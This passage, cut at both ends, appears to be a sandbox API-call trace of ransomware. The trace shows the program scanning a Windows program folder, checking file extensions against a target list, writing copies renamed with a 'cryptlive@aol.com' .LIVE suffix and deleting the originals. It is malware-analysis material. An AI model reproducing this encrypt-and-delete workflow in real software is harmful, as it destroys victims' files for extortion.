(lpString1=".jpg", lpString2=".jpg") returned 0 [0047.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0047.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0047.100] lstrlenW (lpString=".doc") returned 4 [0047.100] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0047.100] lstrlenW (lpString=".docx") returned 5 [0047.100] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0047.100] lstrlenW (lpString=".pdf") returned 4 [0047.100] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0047.100] lstrlenW (lpString=".xls") returned 4 [0047.100] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0047.100] lstrlenW (lpString=".xlsx") returned 5 [0047.100] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0047.100] lstrlenW (lpString=".ppt") returned 4 [0047.100] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0047.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0047.100] lstrlenW (lpString=".zip") returned 4 [0047.100] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0047.100] lstrlenW (lpString=".rar") returned 4 [0047.100] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0047.100] lstrlenW (lpString=".bz2") returned 4 [0047.100] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0047.100] lstrlenW (lpString=".7z") returned 3 [0047.100] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0047.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0047.100] lstrlenW (lpString=".dbf") returned 4 [0047.100] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0047.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0047.100] lstrlenW (lpString=".1cd") returned 4 [0047.100] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0047.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0047.100] lstrlenW (lpString=".jpg") returned 4 [0047.100] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0047.101] lstrcmpiW (lpString1=".gif", lpString2=".LIVE") returned -1 [0047.101] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0047.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.101] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=4587) returned 1 [0047.101] CloseHandle (hObject=0x1f8) returned 1 [0047.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0047.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0047.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0047.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0047.101] lstrlenW (lpString=".doc") returned 4 [0047.101] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.101] lstrlenW (lpString=".docx") returned 5 [0047.101] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0047.101] lstrlenW (lpString=".pdf") returned 4 [0047.101] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.101] lstrlenW (lpString=".xls") returned 4 [0047.101] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.101] lstrlenW (lpString=".xlsx") returned 5 [0047.101] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0047.102] lstrlenW (lpString=".ppt") returned 4 [0047.102] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0047.102] lstrlenW (lpString=".zip") returned 4 [0047.102] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.102] lstrlenW (lpString=".rar") returned 4 [0047.102] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.102] lstrlenW (lpString=".bz2") returned 4 [0047.102] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.102] lstrlenW (lpString=".7z") returned 3 [0047.102] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0047.102] lstrlenW (lpString=".dbf") returned 4 [0047.102] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0047.102] lstrlenW (lpString=".1cd") returned 4 [0047.102] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0047.102] lstrlenW (lpString=".jpg") returned 4 [0047.102] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0047.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0047.102] lstrlenW (lpString=".doc") returned 4 [0047.102] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.102] lstrlenW (lpString=".docx") returned 5 [0047.102] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0047.102] lstrlenW (lpString=".pdf") returned 4 [0047.102] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.102] lstrlenW (lpString=".xls") returned 4 [0047.102] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.102] lstrlenW (lpString=".xlsx") returned 5 [0047.102] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0047.102] lstrlenW (lpString=".ppt") returned 4 [0047.102] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0047.102] lstrlenW (lpString=".zip") returned 4 [0047.103] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.103] lstrlenW (lpString=".rar") returned 4 [0047.103] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.103] lstrlenW (lpString=".bz2") returned 4 [0047.103] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.103] lstrlenW (lpString=".7z") returned 3 [0047.103] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0047.103] lstrlenW (lpString=".dbf") returned 4 [0047.103] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0047.103] lstrlenW (lpString=".1cd") returned 4 [0047.103] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0047.103] lstrlenW (lpString=".jpg") returned 4 [0047.103] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.103] lstrcmpiW (lpString1=".gif", lpString2=".LIVE") returned -1 [0047.103] lstrlenW (lpString="Connectivity.gif") returned 16 [0047.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.103] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2319) returned 1 [0047.103] CloseHandle (hObject=0x1f8) returned 1 [0047.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0047.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0047.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0047.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0047.104] lstrlenW (lpString=".doc") returned 4 [0047.104] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.104] lstrlenW (lpString=".docx") returned 5 [0047.104] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0047.104] lstrlenW (lpString=".pdf") returned 4 [0047.104] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.104] lstrlenW (lpString=".xls") returned 4 [0047.104] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.104] lstrlenW (lpString=".xlsx") returned 5 [0047.104] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0047.104] lstrlenW (lpString=".ppt") returned 4 [0047.104] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0047.104] lstrlenW (lpString=".zip") returned 4 [0047.104] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.104] lstrlenW (lpString=".rar") returned 4 [0047.104] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.104] lstrlenW (lpString=".bz2") returned 4 [0047.104] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.104] lstrlenW (lpString=".7z") returned 3 [0047.104] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0047.104] lstrlenW (lpString=".dbf") returned 4 [0047.104] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0047.104] lstrlenW (lpString=".1cd") returned 4 [0047.104] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0047.104] lstrlenW (lpString=".jpg") returned 4 [0047.104] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0047.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0047.105] lstrlenW (lpString=".doc") returned 4 [0047.105] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.105] lstrlenW (lpString=".docx") returned 5 [0047.105] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0047.105] lstrlenW (lpString=".pdf") returned 4 [0047.105] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.105] lstrlenW (lpString=".xls") returned 4 [0047.105] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.105] lstrlenW (lpString=".xlsx") returned 5 [0047.105] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0047.105] lstrlenW (lpString=".ppt") returned 4 [0047.105] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0047.105] lstrlenW (lpString=".zip") returned 4 [0047.105] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.105] lstrlenW (lpString=".rar") returned 4 [0047.105] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.105] lstrlenW (lpString=".bz2") returned 4 [0047.105] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.105] lstrlenW (lpString=".7z") returned 3 [0047.105] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0047.105] lstrlenW (lpString=".dbf") returned 4 [0047.105] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0047.105] lstrlenW (lpString=".1cd") returned 4 [0047.105] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0047.105] lstrlenW (lpString=".jpg") returned 4 [0047.105] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.105] lstrcmpiW (lpString1=".ini", lpString2=".LIVE") returned -1 [0047.106] lstrlenW (lpString="Desktop.ini") returned 11 [0047.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.106] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=645) returned 1 [0047.106] CloseHandle (hObject=0x1f8) returned 1 [0047.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0047.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0047.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.106] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.106] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0047.107] GetLastError () returned 0x0 [0047.107] ReadFile (in: hFile=0x1f8, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x285, lpOverlapped=0x0) returned 1 [0047.108] WriteFile (in: hFile=0x218, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x290, lpOverlapped=0x0) returned 1 [0047.109] ReadFile (in: hFile=0x1f8, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.109] WriteFile (in: hFile=0x218, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.109] SetEndOfFile (hFile=0x218) returned 1 [0047.109] CloseHandle (hObject=0x218) returned 1 [0047.110] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.110] SetEndOfFile (hFile=0x1f8) returned 1 [0047.110] CloseHandle (hObject=0x1f8) returned 1 [0047.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x26) returned 1 [0047.111] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0047.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0047.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0047.111] lstrlenW (lpString=".doc") returned 4 [0047.111] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0047.111] lstrlenW (lpString=".docx") returned 5 [0047.111] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0047.111] lstrlenW (lpString=".pdf") returned 4 [0047.111] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0047.111] lstrlenW (lpString=".xls") returned 4 [0047.111] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0047.111] lstrlenW (lpString=".xlsx") returned 5 [0047.111] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0047.111] lstrlenW (lpString=".ppt") returned 4 [0047.111] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0047.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0047.111] lstrlenW (lpString=".zip") returned 4 [0047.111] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0047.111] lstrlenW (lpString=".rar") returned 4 [0047.111] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0047.111] lstrlenW (lpString=".bz2") returned 4 [0047.111] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0047.112] lstrlenW (lpString=".7z") returned 3 [0047.112] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0047.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0047.112] lstrlenW (lpString=".dbf") returned 4 [0047.112] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0047.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0047.112] lstrlenW (lpString=".1cd") returned 4 [0047.112] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0047.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0047.112] lstrlenW (lpString=".jpg") returned 4 [0047.112] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0047.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0047.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0047.112] lstrlenW (lpString=".doc") returned 4 [0047.112] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0047.112] lstrlenW (lpString=".docx") returned 5 [0047.112] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0047.112] lstrlenW (lpString=".pdf") returned 4 [0047.112] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0047.112] lstrlenW (lpString=".xls") returned 4 [0047.112] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0047.112] lstrlenW (lpString=".xlsx") returned 5 [0047.112] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0047.112] lstrlenW (lpString=".ppt") returned 4 [0047.112] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0047.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0047.112] lstrlenW (lpString=".zip") returned 4 [0047.112] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0047.112] lstrlenW (lpString=".rar") returned 4 [0047.112] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0047.112] lstrlenW (lpString=".bz2") returned 4 [0047.112] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0047.112] lstrlenW (lpString=".7z") returned 3 [0047.112] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0047.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0047.112] lstrlenW (lpString=".dbf") returned 4 [0047.113] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0047.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0047.113] lstrlenW (lpString=".1cd") returned 4 [0047.113] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0047.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0047.113] lstrlenW (lpString=".jpg") returned 4 [0047.113] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0047.113] lstrcmpiW (lpString1=".emf", lpString2=".LIVE") returned -1 [0047.113] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0047.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.113] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=3792) returned 1 [0047.113] CloseHandle (hObject=0x1f8) returned 1 [0047.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0047.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0047.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0047.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0047.114] lstrlenW (lpString=".doc") returned 4 [0047.114] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0047.114] lstrlenW (lpString=".docx") returned 5 [0047.114] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0047.114] lstrlenW (lpString=".pdf") returned 4 [0047.114] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0047.114] lstrlenW (lpString=".xls") returned 4 [0047.114] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0047.114] lstrlenW (lpString=".xlsx") returned 5 [0047.114] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0047.114] lstrlenW (lpString=".ppt") returned 4 [0047.114] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0047.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0047.114] lstrlenW (lpString=".zip") returned 4 [0047.114] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0047.114] lstrlenW (lpString=".rar") returned 4 [0047.114] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0047.114] lstrlenW (lpString=".bz2") returned 4 [0047.114] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0047.114] lstrlenW (lpString=".7z") returned 3 [0047.114] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0047.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0047.114] lstrlenW (lpString=".dbf") returned 4 [0047.114] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0047.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0047.114] lstrlenW (lpString=".1cd") returned 4 [0047.114] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0047.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0047.115] lstrlenW (lpString=".jpg") returned 4 [0047.115] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0047.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0047.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0047.115] lstrlenW (lpString=".doc") returned 4 [0047.115] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0047.115] lstrlenW (lpString=".docx") returned 5 [0047.115] lstrcmpiW 